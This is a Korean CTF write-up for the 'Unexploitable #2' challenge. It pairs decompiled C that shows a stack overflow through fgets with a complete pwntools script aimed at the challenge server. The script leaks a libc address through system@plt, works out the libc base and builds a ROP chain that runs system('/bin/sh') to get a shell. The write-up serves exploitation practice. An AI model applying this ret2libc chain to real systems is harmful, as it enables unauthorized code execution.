Unexplotable#1 문제와 같이 ASLR 보호기법이 안걸려 있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-10h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
fwrite("Easy RTL ha? You even have system@plt!\n", 1uLL, 0x27uLL, stdout);
fflush(stdin);
fgets(&s, 64, stdin);
return 0;
}
#1의 문제와 달리 fflush 함수가 빠졌다. 다른 방법으로 system 함수를 실행시켜보자. 똑같이 ROP 공격을 진행하되, 이번에는 base주소를 구할 것이다.
system의 offset, "/bin/sh"의 offset을 구하고 base 주소를 더해 쉘을 딸 것이다. 이를 위해 아래의 요소들이 필요하다.
1. pop ret 가젯
2. fgets@got, system@plt, main 주소
위 요소들을 이용해 실제 fgets의 함수를 구하고, fgets - fgets_offset을 통해 base 주소를 구한다. 이후는 실제 system함수와 "/bin/sh"주소를 구하고 공격을 진행하면 된다.
단, 이 문제도 World_best_encryption_tool 문제처럼 libc를 안구해줬으므로 libc database 웹사이트에 들어가 직접 함수의 offset을 구해야 한다.
Exploit Code
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3029)
e = ELF('./Unexploitable_2')
pr = 0x400773
main = e.symbols['main']
system_plt = e.plt['system']
system_got = e.got['system']
fgets_got = e.got['fgets']
fgets_offset = 0x6dad0
binsh_offset = 0x18cd57
system_offset = 0x45390
# Leak Base addr
payload = 'A' * 0x18
payload += p64(pr)
payload += p64(fgets_got)
payload += p64(system_plt)
payload += p64(main)
p.sendlineafter('str!\n', payload)
p.recvuntil('sh: 1: ')
fgets = u64(p.recv(6) + '\x00\x00')
base = fgets - fgets_offset
system = base + system_offset
binsh = base + binsh_offset
log.info('fgets : ' + hex(fgets))
log.info('Base : ' + hex(base))
log.info('System : ' + hex(system))
log.info('Binsh : ' + hex(binsh))
# RTL
pay = 'A' * 0x18
pay += p64(pr)
pay += p64(binsh)
pay += p64(system)
p.sendline(pay)
p.interactive()